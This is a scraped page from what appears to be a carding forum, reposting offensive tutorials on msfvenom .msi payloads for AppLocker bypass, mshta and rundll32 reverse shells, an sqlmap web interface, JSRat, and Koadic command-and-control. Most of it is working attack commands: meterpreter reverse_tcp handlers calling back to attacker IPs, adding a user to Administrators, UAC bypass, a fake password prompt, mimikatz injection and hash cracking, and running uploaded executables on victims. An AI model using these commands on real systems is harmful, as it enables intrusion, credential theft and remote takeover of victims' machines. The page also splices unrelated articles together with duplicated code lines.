![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-JkDOZU8TZ3Y/XEW3kE33u7I/AAAAAAAAcKw/Hhf2YJooBkg2ZXwB6r72Dk161VPZWh6pQCLcBGAs/s1600/4.png?w=687&ssl=1)
Generate Malicious .msi file with Msfvenom -2nd Method
Note: Even if you rename the cmd.msi file in another extension, it will bypass the rule.
Repeat above to generate an MSI file with the same payload as msfvenom and named cmd.png. Since I already have a cmd.msi file in my kali, I rename it as cmd.png and used the python server to transfer it.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-RKwVv-TvJWY/XEW3k_6XvaI/AAAAAAAAcK4/7zNzEYH9t9AqYPWkKkDP7f_WSY9J5EtHwCLcBGAs/s1600/5.png?w=687&ssl=1)
Once you have downloaded the cmd.png file (which is actually an .msi file) on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the .msi file with msiexec.exe inside the run prompt.
Syntax: msiexec /q /i
msiexec /q /i [To see content please register here]
1
msiexec /q /i [To see content please register here]
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-lNR9vhXuncA/XEW3lEc3g8I/AAAAAAAAcK8/86VMFPzDkAQxattSs6IBAe0kwfTVzFCDgCLcBGAs/s1600/6.png?w=687&ssl=1)
As soon as you will hit the above-mentioned command inside run prompt, you will get the Command Prompt.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-xB3i9KvZy2Q/XEW3lZ__VhI/AAAAAAAAcLA/sdZ2gls_Ri4Q9isoDarWDWs7G8bykoRiQCLcBGAs/s1600/7.png?w=687&ssl=1)
Generate Malicious .msi file with Msfvenom -3rd Method
In the above methods, we obtain a command prompt by utilizing the Windows/exec payload but now we will use windows/meterpreter/reverse_tcp payload to get full privilege command shell via meterpreter sessions.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi
Now again transfer shell.msi file in your Windows machine to obtain the command prompt shell as administrators and start multi/handler. Here we have used Python HTTP server for sharing the file in the network.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Uml7n2H_L3w/XEW3lX7AoGI/AAAAAAAAcLE/HzL-pfSflj4_f1MOPr3wQ2BBJtgVpYcTwCLcBGAs/s1600/8.png?w=687&ssl=1)
Once you have downloaded the shell.msi file on your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the .msi file with msiexec.exe inside the run prompt.
Syntax: msiexec /q /i
msiexec /q /i [To see content please register here]
1
msiexec /q /i [To see content please register here]
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-LxE3di_Bd-k/XEW3mcwmBYI/AAAAAAAAcLI/MBaSL_fEaTE3xZVv17HvEwOdc8zhPN7tACLcBGAs/s1600/9.png?w=687&ssl=1)
As soon as you will hit the above-mentioned command inside run prompt, you will get the Command Prompt via the meterpreter session using this exploit.
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
meterpreter > shell
1
2
3
4
5
6
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
meterpreter > shell
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-0wZx-OdtYQc/XEW3h5xSGJI/AAAAAAAAcKQ/SRudohuHpOgRi5F_4lgNGWPPun47T2WvQCLcBGAs/s1600/10.png?w=687&ssl=1)
Challenge 2: – Make a local user member of Administrators Group
Let’s suppose you are in a similar situation where all the above-mentioned applications are blocked and only Windows Installer file i.e. the .msi extension is allowed to run without any restrictions.
Then how will you use an MSI file to bypass these restriction to make a local user member of Administrators Group where cmd.exe is block?
Note: Here aaru is a local user account which is not non-administrative user account as shown below:
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-mTNSIZAnMIQ/XEW3iMlc-mI/AAAAAAAAcKY/lTQ2yMQp5owiMKuyteV8U1tVrhnkVxoBQCLcBGAs/s1600/11.png?w=687&ssl=1)
As we know that due to applocker execution rule policy, cmd.exe is blocked on the local machine, therefore we cannot use the command prompt to add aaru in the administrator group.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-uKpzldDVQrM/XEW3iwpdDTI/AAAAAAAAcKg/f9ibKqAbz_smjO_pDze-GptUZLENpicoQCLcBGAs/s1600/12.png?w=687&ssl=1)
Generate Malicious .msi file with Msfvenom -4th Method
Generate an MSI package as admin.msi with the windows/exec payload that sends a command instructing to add local admin privileges for the user “aaru”, to the target machine.
msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi
1
msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi
Now transfer admin.msi file in your Windows machine to add aaru in the administrator’s group. Here we have used Python HTTP server for sharing the file in the network.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ftKLuVfP_s0/XEW3i5vPLgI/AAAAAAAAcKc/jh_uEQ7KrGULatftkQRCgMYV2rfTR5ctgCLcBGAs/s1600/13.png?w=687&ssl=1)
Once you have downloaded the admin.msi file your local machine (Windows OS where cmd.exe is blocked by admin), you can use the following syntax to run the admin.msi file with msiexec.exe inside the run prompt.
Syntax: msiexec /q /i
msiexec /q /i [To see content please register here]
1
msiexec /q /i [To see content please register here]
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-jgne54sy78A/XEW3jIrOfLI/AAAAAAAAcKk/BrEu9C7Gr34e5u_dn5V1jPxVZ5ii3SWcQCLcBGAs/s1600/14.png?w=687&ssl=1)
As soon as you will hit the above-mentioned command inside run prompt, you can ensure that the aaru user has become part of the administrator’s account.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-cekM2JY-gzs/XEW3jt_rDRI/AAAAAAAAcKo/dfA9K28sMjIAfO6JfU0NTFq_Xe_OQEtVQCLcBGAs/s1600/15.png?w=687&ssl=1)
Hopefully, it becomes clear to you, that, how you can use a .msi file to compromise an operating system where cmd.exe and other applications are blocked by the administrator.
References:
[To see content please register here]
[To see content please register here]
This article will help those who play with CTF challenges because today we will discuss “Windows One-Liner” to use malicious commands such as PowerShell or rundll32 to get the reverse shell of the Windows system. Generally, while abusing HTTP services or other programs, we get RCE vulnerability. This loophole allows you to remotely execute any system command. We have therefore prepared a list of Windows commands that enable you to use the target machine to get reverse connections.
Table of Content
Mshta.exe
- Launch HTA attack via HTA Web Server of Metasploit
Rundll32.exe
- Launch Rundll32 Attack via SMB Delivery of Metasploit
Regsvr32.exe
- Launch Regsvr32 via Script Web Delivery of Metasploit
Certutil.exe
- Launch MSbuild Attack via Msfvenom C# shellcode
Powershell.exe
- Launch Powercat attack via Powershell
- Launch cscript.exe via Powershell
- Launch Batch File Attack via Powershell
Msiexec.exe
- Launch msiexec attack via msfvenom
Wmic.exe
- Launch Wmic.exe attack via Koadic
Mshta.exe
Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or VBScript with. You can interpret these files using the Microsoft MSHTA.exe tool.
Metasploit contain the “HTA Web Server” module which generates malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed.
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
1
2
3
4
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Now run the malicious code through mshta.exe on the victim’s machine (vulnerable to RCE) to obtain meterpreter sessions.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-vRQoGXf6Hxc/XERxDCNVrRI/AAAAAAAAcIA/-HNjlqYKAjQpdD2BUOGPCfcE3-Qn1RfwwCLcBGAs/s1600/1.png?w=687&ssl=1)
Once you will execute the malicious hta file on the remote machine with the help of mshta.exe, you get the reverse connection at your local machine (Kali Linux).
mshta.exe [To see content please register here]
1
mshta.exe [To see content please register here]
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-WojuVBITUBA/XERxFcLMnDI/AAAAAAAAcIc/VIRbJgR_0KMAonf3QaFGRwgJ9zF2xFgjQCLcBGAs/s1600/2.png?w=687&ssl=1)
As you can observe, we have the meterpreter session of the victim as shown below:
|
|
|
|
| [Guide] How to Configure Sqlmap for WEB-GUI in Kali Linux |
|
Posted by: NINZA - 05-14-2020, 11:13 AM - Forum: Carders Home
- No Replies
|
 |
Hello everyone and welcome to this tutorial of setting up SQLMAP for Web-GUI. Web-GUI simply refers to an interface that a browser provides you over the http/https service.
SQLMAP is a popular tool for performing SQL injection attacks on sites affected by MySQL errors; be it an error based SQL injection or hidden SQL; sqlmap is the biggest tool there is for performing SQL injection attacks. But very few people know that sqlmap also provides an API for its service that is written in python that we can use to develop a front end for the same sqlmap which is on command line interface.
One such person is Hood3dRob1n([To see content please register here] ) who has created a PHP based front end for sqlmap and today, we’ll be setting it up in Kali Linux. It is needless to say, it will be compatible with any Linux distro.
Let’s get started.
Table of Contents:
- Cloning the GitHub repository and giving necessary permissions
- Locating and hosting the API
- Launching the front end
- Attacking practice lab for SQLi
Cloning the GitHub repository
First, we need to clone the Hood3dRob1n repository. To clone, we’ll use the git clone command and put the folder named sqlmap inside “/var/www/html.”
git clone [To see content please register here]
cd SQLMAP-Web-GUI
mv sqlmap ..
cd ..
chmod 777 * sqlmap
1
2
3
4
5
git clone [To see content please register here]
cd SQLMAP-Web-GUI
mv sqlmap ..
cd ..
chmod 777 * sqlmap
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-acpE4ycc8xs/XEcMB0yUYuI/AAAAAAAAcRo/ANMNk-JbSLIgufs4YwCbZx0qJOu44So1ACLcBGAs/s1600/1.png?w=687&ssl=1)
Locating and hosting the API
The next step is to host an apache server. If you don’t have apache pre-installed, you can install it with apt-get install apache2 command.
After we have hosted the Apache server, we need to run the sqlmapapi.
The default folder would vary with multiple Linux distros, so we used the locate command to locate the file named “sqlmapapi.py”
We need to run this API using the command:
python /usr/share/sqlmap/sqlmapapi.py -s
1
python /usr/share/sqlmap/sqlmapapi.py -s
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-m0ylpqNrhzo/XEcMB_ZeVtI/AAAAAAAAcRw/0VET3neP0KE14m7KzH2m7J_WuT29ot03QCLcBGAs/s1600/2.png?w=687&ssl=1)
Launching the front end
If you have followed this tutorial so far, you’ll see the following screen when you open localhost/sqlmap
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-Vs83fZhzqFQ/XEcMBxF5AQI/AAAAAAAAcRs/FHBfyw9jOxsfP3s_bUE4MnveFgpIdpDSgCLcBGAs/s1600/3.png?w=687&ssl=1)
And voila! Just like that, you are good to start injecting SQL queries.
Attacking practice lab for SQLi
There are 6 tabs essentially here.- BASIC: This tab allows you to set the URL to test SQL injections. You can set an HTTP method too. Given options are POST, PUT, HEAD etc.
- REQUEST: Allows you to modify your request with optional parameters like time delay, timeout between requests, no. of retries to connect, user agent etc.
- INJECTION & TECHNIQUE: Lets you choose which kind of injection and techniques you are applying– Boolean-based, error based, inline etc. as well as other options like use of DBMS hex functions for data retrieval, kind of database (MYSQL or MSSQL) and so on.
- DETECTION: To set a custom string to match.
- ENUMERATION: What data to retrieve. Eg: current user and current database dump. Or if you are feeling fancy, all users all data dump. You can play around with it.
- ACCESS: Access parameters. Leave this at default if you don’t know your way around it.
We will set the parameters one by one as we proceed. But we never attack live websites, hence, we used another PC with an IP address of 192.168.1.105 to host a practice lab for SQL injection attacks called SQL-Dhakkan. Refer to [To see content please register here] article to know how you can set it up yourself!
If you are successful to set up the lab, you’ll get a screen something like this:
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-XxSz-OKsGeo/XEcMComvMHI/AAAAAAAAcR0/d_Uwofwn43YSgC14zUm1gtUN3_Mt0h6jwCLcBGAs/s1600/4.png?w=687&ssl=1)
I am on Lesson 1 currently and I know that id=1 has an error based SQLi vulnerability. So, let’s copy this URL to our web-GUI sqlmap.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-s52T40HnA6A/XEcMDOEsTWI/AAAAAAAAcR8/2zmK3JFFfr8mATS5IAgw28HxcWq6RiEMgCLcBGAs/s1600/5.png?w=687&ssl=1)
It is highly recommended that you get yourself familiar with HTTP methods and read how to manually attack SQLi [To see content please register here] because it will give you a profound idea of the options we will be selecting further in the tutorial. But if you wish to continue with the tutorial instead, who am I to stop you!
Go to the enumeration tab and select the methods that you want to test.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-glYwaq46GHc/XEcMDKTNDLI/AAAAAAAAcR4/UUXJCAHWJDM4nao3JChQyhwQsaD5z4RXQCLcBGAs/s1600/6.png?w=687&ssl=1)
Once set, set the type of SQLi you want to perform.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-FO5dooyelS4/XEcMDfWprYI/AAAAAAAAcSA/rJla5fAa0CMjWI1qxL01i6b4k-R--Rq5ACLcBGAs/s1600/7.png?w=687&ssl=1)
Once you are satisfied with the choices you input, run the scan!
For the purpose of this tutorial, we have performed a really basic scan that tells us the current database and hostname, but you can play around with the parameters as you like.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-JMCdKNaef5g/XEcMDulQ15I/AAAAAAAAcSE/UHLLcHrSLiwBhnQUyV8gTU96wfeZh8FcgCLcBGAs/s1600/9.png?w=687&ssl=1)
Conclusion: Web-based GUI for sqlmap is definitely a plus point over the traditional sqlmap for many reasons, one of them being the ease of access. There is no need to remember such long commands. Drag, drop and done!
Plus, web-based GUI is nothing but a web app for you. A web app that runs sqlmap, isn’t it great?
Hope you enjoyed this little tutorial.
Learning only one framework such as Metasploit etc. has its own limitations. Todays’ ever-developing cyber world requires an end to end knowledge of every tool and framework so that if you are cut off of one method, you have another to save yourself. That is the reason today through this article we are going to learn about JSRat.
Tables of Content- Introduction
- Downloading and installation
- Access the web server
- Rundll attack
- Regsvr32 attack
Introduction
As the name suggests this tool is developed in JavaScript. Numeral commands and controls of this framework can be used for multiple methods of attack and also, to hide malicious traffic. These attacks can be done in various formats. JSRat is developed by Casey Smith. He developed this framework as a prototype tool. It allows the payload to connect to the listening server. 3gstudent is the security researcher who extended Casey’s work and refined the tool. He developed it in PowerShell due which extra features are added. These features were created in python which allows the server to be both Linux and Windows friendly. The basic protocol used is HTTP for the server to work. Usage of both implementation, i.e. in python and PowerShell, are shown in this article.
Downloading and Installation
As this tool is user-friendly, downloading and installation of this tool are very easy. You can download it from [To see content please register here] . Once you copy the cloning code from the link provided; type the following command to download :
git clone //github.com/Hood3dRob1n/JSRat-Py.git
1
git clone //github.com/Hood3dRob1n/JSRat-Py.git
Running the command presented above will download and install JSRat. Once it’s all done, use the following command to check the file.
cd JSRat-Py/
ls
1
2
cd JSRat-Py/
ls
![[Image: 1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-0ZpnRrdVeLU/XEwUDS5xtFI/AAAAAAAAcZ8/QNFKa9ZP4PUe9VfSYLK_5sxD7BS6Hn7CwCLcBGAs/s1600/1.png?w=687)
Now, use the following command to start the framework :
./JSRat.py -i 192.168.1.107 -p 4444
1
./JSRat.py -i 192.168.1.107 -p 4444
![[Image: 2.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-SkThb5wBN9M/XEwUCBUZjcI/AAAAAAAAcZ0/F2fzFCQFoG8xrsNcPjomoEYNGKApCwn_QCLcBGAs/s1600/2.png?w=687)
In the above command, we have specified IP of our own machine and port for the web server to run.
As the server is up and running, it will show the various files it made as shown in the image below :
![[Image: 3.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-sphqwK4JgbU/XEwUBwg33dI/AAAAAAAAcZw/y12Dnunu90AxKLnvgnh-XUiNAeWEEBXvwCLcBGAs/s1600/3.png?w=687)
You can find these files by accessing the server from your or victim’s browser. If you look closely, there is a code given on the server. This code allows you to execute a rundll attack.
![[Image: 4.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-6oJoiL4Djms/XEwUDkun8iI/AAAAAAAAcaA/kbNldaV0iSgGdMlqpXIP2GlIZMngbHaZwCLcBGAs/s1600/4.png?w=687)
Copy this code and paste it in the command prompt of the victims’ PC. As shown in the following image :
![[Image: 5.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-d7B1doWGsa4/XEwUDa2tK8I/AAAAAAAAcZ4/6Wcn2-0z9IUJ2TcFHwIJCy9A7XWvmEaVQCLcBGAs/s1600/5.png?w=687)
As soon as the command is executed you will have a session.
![[Image: 6.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-lVDCtwv-g0w/XEwUETK3-3I/AAAAAAAAcaE/JBotmuGRc6oKUX4SiAEiLK04gZxVTUcGACLcBGAs/s1600/6.png?w=687)
Now on the same server, there is a regsvr32 file, which can also help us to get a session.
![[Image: 7.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Gkm0lVzz2Rk/XEwUEjf8ewI/AAAAAAAAcaI/vFlMcgvkxtcPv3obuEWXTyII7PKx6C_fACLcBGAs/s1600/7.png?w=687)
Copy the file command and paste it in the run window.
![[Image: 8.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-jLNhhPPAt1w/XEwUEiemUlI/AAAAAAAAcaM/igxdzfxURKwKL97AmQGO-N02-d0sLIpdACLcBGAs/s1600/8.png?w=687)
Similar to rundll attack, after running the above command you will have your session.
![[Image: 9.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-Ui5ErNeNtqo/XEwUE6cB0cI/AAAAAAAAcaQ/IMKGrmw7RbUs8s6R_bCLv_j9OqLZD3BBwCLcBGAs/s1600/9.png?w=687)
Conclusion
As this framework returns HTTP shell using JavaScript. You can see that the two attacks that we have shown above exhibits that rundll and regsvr32 use JavaScript code in command prompt and HTTP shell to return while the coded is executed. As it works through the server developed in python; our malicious files don’t get written on the disk, which is an advantage to us. This also increases the possibility of being the stealthiest of the attacks. Another advantage is this file can avoid being killed. Therefore, these tools prove to be great without fail.
Hello friends!! In this article, we are introducing another most interesting tool “KOADIC – COM Command & Control” tool which is quite similar to Metasploit and Powershell Empire. So let’s began with its tutorial and check its functionality.
Table of Content- Introduction to Koadic
- Installation of Koadic
- Usage of Koaidc
- Koadic Stagers
- Privilege Escalation with Koadic Implants
- Post Exploitation
- Generate Fake Login Prompt
- Enable Rdesktop
- Inject Mimikatz
- Execute Command
- Obtain Meterpreter Session from Zombie Session
Introduction to Koadic
Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.
It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled).
Koadic also attempts to be compatible with both Python 2 and Python 3. However, as Python 2 will be going out the door in the not-too-distant future, we recommend using Python 3 for the best experience.
Source – //github.com/zerosum0x0/koadic
Installation of Koadic
It must first be downloaded and installed in order to start using Koadic. Run the following command to download Koadic from github and also take care of its dependency tools while installing koadic.
git clone //github.com/zerosum0x0/koadic
cd koadic
1
2
git clone //github.com/zerosum0x0/koadic
cd koadic
apt-get install python3-pip
pip3 install -r requirements.txt
./koadic
1
2
3
apt-get install python3-pip
pip3 install -r requirements.txt
./koadic
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-bjAlpze9ESg/XD9FoYHShWI/AAAAAAAAcGQ/BRKMFOVva10g_V3P8kgXje-5uO4p-GA9wCLcBGAs/s1600/1.png?w=687)
Usage of Koaidc
This tool majorly depends upon stager and implant. It contains 6 stager and 41 implants.
Stager: Stagers hook target zombies and allow you to use implants.
Implants: Implants start jobs on zombies.
Once installation gets completed, you can run ./koadic file to start koadic. Then run the most helpful command to get the synopsis of the use of koadic. The help command summarizes the various commands available. Koadic functions are similar to other frameworks, such as Metasploit.
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-tcLJ2SfJL2I/XD9Fq3a_hSI/AAAAAAAAcG0/h7Unh0ZQA5UlKVJexpeG2KuYex06ubcGQCLcBGAs/s1600/2.png?w=687)
To load all available module in the terminal run “use <tab> <tab>” command. This will dump all available implant and stagers for execution or explore stager module with following commands:
use stager/js/
1
use stager/js/
This will give you all stagers that will be useful for getting zombie session of the target machine.
![[Image: 3.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-oaNfUQl-DFM/XD9FrYRVQvI/AAAAAAAAcG4/wl31WXzMYhoK_uYCC4qa8vMU5sZDYB9WACLcBGAs/s1600/3.png?w=687)
Koadic Stagers
The stager enables us to describe where any zombie device accesses the Koadic command and control. Some of these settings can be viewed by running info command once the module is selected. Let’s start with loading the mshta stager by running the following command.
Set SRVHOST where the stager should call home and SRVPORT the port to listen for stagers on or even you can set ENDPOINT for the malicious file name and then enter run to execute.
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
1
2
3
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
![[Image: 4.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-bM2mHEBZTMI/XD9FrnvgNJI/AAAAAAAAcG8/wOhp_lQV-aon6X6n4JX5QqaoP5WHZ0qyACLcBGAs/s1600/4.png?w=687)
Now run below command to execute the above generated malicious file.
mshta //192.168.1.107:9999/sales
1
mshta //192.168.1.107:9999/sales
![[Image: 5.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-uwUX9P0H3gw/XD9Fr0lBPsI/AAAAAAAAcHA/ySeULZCj2t4Viat4DBvzFhrsAIluw_jYACLcBGAs/s1600/5.png?w=687)
Once the malicious sales file will get executed on the target machine, you will have a Zombie connection just like metasploit.
zombies 0
1
zombies 0
![[Image: 6.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-EL0cu7Srrt8/XD9FsInmKPI/AAAAAAAAcHE/Yhod21obhwIkEXeLtlTUMltWsKKP_ckGQCLcBGAs/s1600/6.png?w=687)
Privilege Escalation with Koadic Implants
Once you have zombie session after than you can use implant modules for privilege escalation that includes bypass UAC.
Koadic contains all modules to bypass UAC of Windows 7, 8, 10 platform so that you can extract system level information. We can load this module by running the command below within Koadic.
use implant/elevate/bypassuac_eventvwr
1
use implant/elevate/bypassuac_eventvwr
Then, we will set the payload value to run the module. You can use default zombie value as “ALL” to attack all zombies or can set the particular zombie id you want to attack. Use the command below to adjust the payload value and zombie.
set PAYLOAD 0
set ZOMBIE 0
run
1
2
3
set PAYLOAD 0
set ZOMBIE 0
run
![[Image: 7.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-3uuMHOodKk0/XD9FssApLBI/AAAAAAAAcHI/NpOvATCydeIy3_0b84jcPddT-D76A88xgCLcBGAs/s1600/7.png?w=687)
Post Exploitation
Generate Fake Login Prompt
You can start a phishing attack with koadic and track the victim’s login credentials. We can load this module by running the command below within Koadic.
use implant/phish/password_box
set ZOMBIE 1
run
1
2
3
use implant/phish/password_box
set ZOMBIE 1
run
![[Image: 8.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-CT7l6zJyNOM/XD9Fs26uQ8I/AAAAAAAAcHQ/xfMOe6IdFz0bCOXx5DJ9yxvuyEp1F-NpgCLcBGAs/s1600/8.png?w=687)
This will launch a Prompt screen for login at the victim’s machine.
![[Image: 9.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-91QVn8sd4BA/XD9Fs5u8cBI/AAAAAAAAcHM/lW2FvhOYWf0VX3qRNWcRQOwjso1wd7U2gCLcBGAs/s1600/9.png?w=687)
Therefore, if the victim enters his password in a fake prompt, you get the password in the command and control shell of Koadic.
![[Image: 10.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-D-yusrDbS9o/XD9FoRboCvI/AAAAAAAAcGU/m3FsqqGHRa8m3f2udotuYtolQKVMQaVpwCLcBGAs/s1600/10.png?w=687)
Enable Rdesktop
Just like metasploit, here also you can enable remote desktop service in the victim’s machine with the following implant module.
use implant/manage/enable_rdesktop
set ZOMBIE 1
run
1
2
3
use implant/manage/enable_rdesktop
set ZOMBIE 1
run
As you can observe in the below image that job 4 is completed successfully and it has enabled rdesktop service.
![[Image: 11.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-PhLRIIhPQ_A/XD9FoRaKkWI/AAAAAAAAcGM/UtD6H8QGA5QqX6wAP_lKMqrtmeXeddFggCLcBGAs/s1600/11.png?w=687)
We can ensure for rdesktop service with the help of nmap to identify state for port 3389.
nmap -p3389 192.168.1.103
1
nmap -p3389 192.168.1.103
Hmm!! So you can observe from nmap result we found port 3389 is open which means rdesktop service is enabled.
![[Image: 12.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-gds6RBQavBQ/XD9Fo33HUCI/AAAAAAAAcGY/sm0LPZwMhRQsdn4RyygamJagNX9L-tlrgCLcBGAs/s1600/12.png?w=687)
Inject Mimikatz
It will let you inject mimikatz in victim’s machine for extracting the password from inside the machine. We can load this module by running the command below within Koadic.
use implant/inject/mimikatz_dotnet2js
set ZOMBIE 1
run
1
2
3
use implant/inject/mimikatz_dotnet2js
set ZOMBIE 1
run
As result, it will dump the NTLM hash password which we need to crack. Save the NTLM value in a text file.
![[Image: 13.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-xqtm2sGcKuw/XD9FpepQoCI/AAAAAAAAcGg/RtWy8eRhauA1IJIgjQe9OvYLWBgNmzevACLcBGAs/s1600/13.png?w=687)
Then we will use john the ripper for cracking hash value, therefore run following command along with the hash file as shown below:
john hash --format=NT
1
john hash --format=NT
As you can observe that it has shown 123 as the password extracted from the hash file.
![[Image: 14.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-8smxnKE86g8/XD9FpCFtH6I/AAAAAAAAcGc/sQnP25jOadkzK33YKklT2qg134-nVXV6gCLcBGAs/s1600/14.png?w=687)
Execute Command
Since we high privileged shell, therefore, we are free to run any implant module for Post exploitation, and now we are using exec_cmd to execute any command on the Windows system. To load this implant, run the command given below.
use implant/manage/exec_cmd
1
use implant/manage/exec_cmd
Then, we will set the CMD value to run the specified command along with Zombie id.
set CMD ipconfig
set ZOMBIE 1
run
1
2
3
set CMD ipconfig
set ZOMBIE 1
run
![[Image: 15.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/--T0ZJ-ExcZo/XD9Fp4GSIQI/AAAAAAAAcGk/M7Yxt42mdWInoGndaVu1FYx1Wtoauxa_QCLcBGAs/s1600/15.png?w=687)
Obtain Meterprter Session from Zombie Session
If you are having zombie session then you can get meterpreter session through it. Generate a malicious file with the help of msfvenom and start multi handle, as we always do in metasploit.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe
![[Image: 16.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-tsHMm2C3qd0/XD9FqLVjkZI/AAAAAAAAcGo/W04uIdD_oME45EvG6Lm-pL9lUQb9FbZYQCLcBGAs/s1600/16.png?w=687)
Koadic provides an implant module that allows you to upload any file inside the machine of the victim if you have zombie sessions. To load this implant, run the following command:
use implant/util/upload_file
1
use implant/util/upload_file
Now set the file location and Zombie Id then run the module. This will upload your malicious in writable directory i.e. %TEMP%.
set LFILE /root/shell.exe
set ZOMBIE 1
run
1
2
3
set LFILE /root/shell.exe
set ZOMBIE 1
run
Once the job is completed then again use exec_cmd to run the uploaded file with the help of this module.
use implant/manage/exec_cmd
1
use implant/manage/exec_cmd
Then, we will set the CMD value to run the uploaded shell.exe file along with Zombie id.
set CMD %TEMP%/shell.exe
set ZOMBIE 1
run
1
2
3
set CMD %TEMP%/shell.exe
set ZOMBIE 1
run
![[Image: 17.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-nagdgoSZ50k/XD9FqDjN2-I/AAAAAAAAcGs/p4ktuLKpHXcgTqkx6xA2GpLX_uXgS3GRQCLcBGAs/s1600/17.png?w=687)
Once you will execute the malicious exe file within Koadic zombie session, you will get a meterpreter session in the metasploit framework as shown below:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set rhost IP 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set rhost IP 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
Once the file is executed on the machine we will get the victim machine meterpreter session as shown below:
